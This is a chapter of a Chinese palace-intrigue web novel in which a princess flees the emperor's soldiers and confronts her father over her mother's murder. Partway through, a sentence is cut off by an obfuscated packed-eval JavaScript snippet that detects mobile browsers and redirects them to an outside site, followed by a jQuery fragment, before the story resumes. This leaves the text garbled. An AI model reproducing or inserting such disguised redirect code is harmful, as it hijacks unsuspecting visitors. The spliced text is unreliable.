年雪朝看出些不对,可思虑片刻,还是起身下了马车。
“等等。”年嘉怡追出来,将她拉住,“我同你一起进宫面圣。”
侍卫神色慌乱,“不可,二殿下,圣上说了,您当回宫关禁闭……”
他话还没说完,年嘉怡打断道:“甭说这些废话,离宫这么些时日,父皇对本宫定甚是想念,本宫一同前去,给他个惊喜,怎么?你一个御前侍卫,也敢忤逆本宫的命令?”
侍卫只好作罢,躬身在前引路。
年雪朝微微皱眉,心里猜到一二,侧头同旁边的年嘉怡道:“父皇这人,向来谨慎,今日进宫,我早就猜到他想要对我下手,只是,你不该来趟这趟浑水的。”
年嘉怡看她如此嗤笑一声,“你想多了,我去只是为了讨好讨好父皇,向他求情,收回派我去和亲的成命,同你有何干系。”
年雪朝耸耸肩,道:“成,算我自作多情了。”
语毕,步子还迈的快了些,被甩在身后的年嘉怡见状紧了紧身上的披风,快步跟上去。
不知是不是儿时被关在小黑屋关久了,如今已经及笄了,她还是如此怕黑。
年雪朝这人心细,察觉到这人眼神时不时的打量四周,小碎步捣腾的越来越快,她放慢了步子,同她并肩走着。
待年嘉怡追上她的脚步,她还不忘调侃一句:“这么大人了,怎得胆子还是如此小,连黑都怕,胆小鬼。”
年嘉怡顾不上这人的嘲笑,快步靠近,一把挽上她的胳膊,声音里染上些许因害怕止不住的颤抖。
“我没同你开玩笑,你觉不觉得,今夜黑压压的廊檐,格外阴森。”
她这话一出,年雪朝顺着她的视线瞧过去,刷了朱漆的墙面在月光的照映下的确压迫感极强,那墙后的树枝不知是被风刮得还是怎,摇个不停,蓦地,她瞧见,那朱墙上的树影竟有好几道人影窜过。
“你快走。”年雪朝下意识的将她往身后挡了挡,低声道:“看来都不用等到面圣了,只怕在这路上,父皇的人便要动手。”
年嘉怡吓得不轻,挽着她胳膊的手攥住她的袖袍,“不,我不走,我要是走了,你就没活路了,父皇还指着我去和亲,他定不会对我下手,我在,你还有活命的机会。”
年雪朝被这人一番操作搞得一头雾水,“你何时这样关心我了?怎么?怕我死啊?”
年嘉怡瞥她一眼道:“当然,虽说你现在换了副身子,可此前,咱们身上好歹还流着一半一样的血,我怎能见死不救,最重要的是,你死了,商亦行得多难过。”
年雪朝差点夺眶而出的眼泪在听到最后一句尽数憋了回去,“嗬,还叫我不要脚踏两只船,那你现在是怎样,不都打算收了谢十堰了么,还对我家商凛有非分之想,不道德,很不道德。”
年嘉怡道:“我只是不敢想商亦行会有难过的时候,他这人虽然我这辈子是收不了了,但我也不想让他难过,可能是习惯了吧。”
这话年雪朝心里听着酸酸的,忍不住打岔道:“打住打住,现在是聊这些的时候吗?你听我的,先走,这样我才能有活路,你在我身边,我反而会有顾虑。”
年嘉怡冷哼一声:“你当我是拖油瓶啊,我不能打,你就能打了?我走了万一他们马上对你动手怎么办?”
年雪朝眉眼狡黠,道:“打不过,我还跑不过吗?不是姐跟你吹,他们几个,论跑,可还真不是我的对手,总之我会给自己多拖延些时间的,你呢,赶紧去搬救兵,我等你来救我。”
年嘉怡狐疑的打量她一眼,像是在怀疑她这副小身子骨当真能跑过那群受过训练的精兵吗?
“本宫身子有些乏了。”年嘉怡顿住脚步,朝着前面的侍卫张口就来,“还是等改日再面见父皇罢。”
御前侍卫:……这些皇亲贵胄当真是想一出是一出,不过也好,她走了,他的人就方便下手了。
说完年嘉怡便转身准备离开,同她擦肩而过时还不忘低声威胁:“你最好说话算话,活着等我带人来。”
年嘉怡走后,那前面的御前侍卫果真有些耐不住性子,四处打量着藏在树上候着的精兵。
年雪朝两侧的手已经捏紧了裙摆,随时做好了出逃的准备,这宫内的地形复杂,她努力回想,凭借着幼时在宫里生活过的那点记忆计划逃生路线。
拐过前面那条窄巷便是死路,她需得在拐弯处折返往回逃生。
果真不出她所料,刚踏进拐角尽头,两侧树影疯狂在两侧宫墙摇曳,树枝被折断的声音在耳边炸开,一众精兵飞檐走壁冲过来,年雪朝提起裙摆,没有朝窄巷深处躲藏,而是根据计划好的逃跑路线,与他们形成相反方向逃生。
刀剑交错间,那些身披战甲的人纷纷扑了空,转身看向那抹已经跑远的粉红身影。
那御前侍卫面上有些挂不住,动怒道:“看什么看,还不赶紧去追,今夜要是不能提着此女脑袋去面圣,咱们所有人就洗干净脖子等着赔命罢!”
不知辗转多少个宫巷,年雪朝已经精疲力尽,喉间的血腥气蔓延开,身后大片脚步声从未停止,催命般跟在身后。
刚下过雪的地上太滑,她摔了好几跤,粉红色的裙摆上沾满了雪污,不知是不是刚才那几跤摔得太过厉害,她现在每跑一步,都觉得膝盖处的骨头要断裂开。
尽管如此,可她一步都不敢停,眼看身后的追兵就要逼近,她忙足了劲往前跑,头却猛地不知撞上了什么东西,因着惯性,她朝后仰去,翻身栽倒在地上。
没等她先抬眼看去,一道略显厚重沧桑的男声先响起。
“还挺能跑。”年帝眼底染上些讽意,“只是,这普天之下莫非王土,朕要杀你,无论你逃到那里,最终这脑袋,都能回到朕手里。”
知道父皇要杀她是一回事,可如今亲眼所见又是另一番感受。
她回头看向在她身后立着的那群精兵,又看向身前穿着明黄袍子的人,知道自己已无路可退。
不知是不是此前被商凛救的多了,如今到了这步田地,她这脑子里,竟全是商凛的脸。
周遭寂静的不像话,连宫墙后的树枝都不再摇曳,风在一瞬止息,她的心却跳动的异常猛烈,胸腔还在因为刚才的疯狂运作上下起伏,喉间的血腥气散去,只留下沙哑的痛意。
她抬眼,想为自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187023|193734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己再拖延些时间,“陛下,臣妇已遵守了约定,找出真凶还商凛清白后便将二殿下送回府,眼下殿下安然无恙,陛下今夜为何还要取臣妇性命?”
年帝:“我以为你是个聪明人,没成想,也会问这些蠢问题,朕想杀人,从不需要什么理由。”
年雪朝笑了,她言辞一阵见血,戳穿他的心思,“不需要理由么?陛下何必自欺欺人!你今夜杀我,不过是想灭口罢了,你明知给你投毒杀你儿臣之人是谁,却还是选择了包庇,不是吗?”
年帝眼角抽搐一瞬,狠厉瞬间攀附上去,“你既知道,又何必再问,有些时候,事情不要做的那样绝,商凛于朕而言重要,可阿玉亦然,你本可以点到为止,却非要逼得阿玉低头认罪,一病不起,这罪过,别说朕要摘了你的脑袋,就算是要诛了你的九族,也是应当!”
语毕,年帝一个眼神,身后的那群人刀剑便立了起来,作势要朝她刺过来。
“做事不要做绝!”年雪朝高声吼道:“这话,雪朝也送给父皇。”
这是她最后的底牌,年嘉怡去找的救兵还未到,她只能自爆保全自己。
可她那父皇眼底的笑意是何意?
莫非,是早就识破了她的身份,不,这不可能,若他知道她是他的女儿,怎么可能要了她的脑袋,至她于死地。
只听面前那人嗤笑一声,收了情绪,淡声道:“你如今自爆身份,似是想让为父心软,求一条活路……”
“父皇……”年雪朝不敢置信的撑起身子,想要上前看清他的脸色。
“只是,”年帝蓦地抬起手中的拐杖,抵在她想要靠近的肩膀上,稍稍用力一压,她便又坠回到地上去,耳鸣声包裹着年帝的声音,“你跟你阿母一样天真,分不清虚实轻重,那副官家小姐做派,实在令人生厌,往日朕不愿戳破那层窗户纸,同你们演好丈夫慈父的戏码,可你们非要捅破这层窗户纸,叫朕演不下去,是你们把自己的路都堵死了!”
年雪朝喉间如同灌了铅,“你说什么?”
“你一早便知晓母后的死另有隐情,可你却从未想过深究……”
“她死有余辜!”年帝将拐杖在地上用力敲了两下,“她与那逆贼私通,阿玉只是帮我除掉一个叛徒,何错之有!”
年雪朝道:“是,萧叔确实心悦母后,可母后她从来都没有背叛过你,甚至被人灌下那碗滚烫的毒药后,还一直喊着你的名字,你说她身上的官家小姐习气令人生厌,你可是忘了,当年若不是我母后家里鼎力相助,您哪有钱招兵买马,定国称王?!”
“一切都是她自愿!”年帝瞪向她,道:“朕可从来都没逼过她,要不是她有家世傍身,阿玉跟嘉怡又何苦在外流浪这么多年,你阿母欠下的债,今日你便带着这些秘密,一同陪葬罢!”
语毕,身后的层层利剑朝她袭来,她慌乱起身想要逃,可年帝一棍打在她刚摔过的膝盖处,叫她扑倒在地。
心里的重担好似在一瞬落空,知道自己无路可退,她苦笑着闭上眼,脑中蓦地想起那夜深林,被一刀刀捅进身体里的滋味,痛,太痛了,她分明是经历过一遍的人,可现下为何还是会怕的发抖。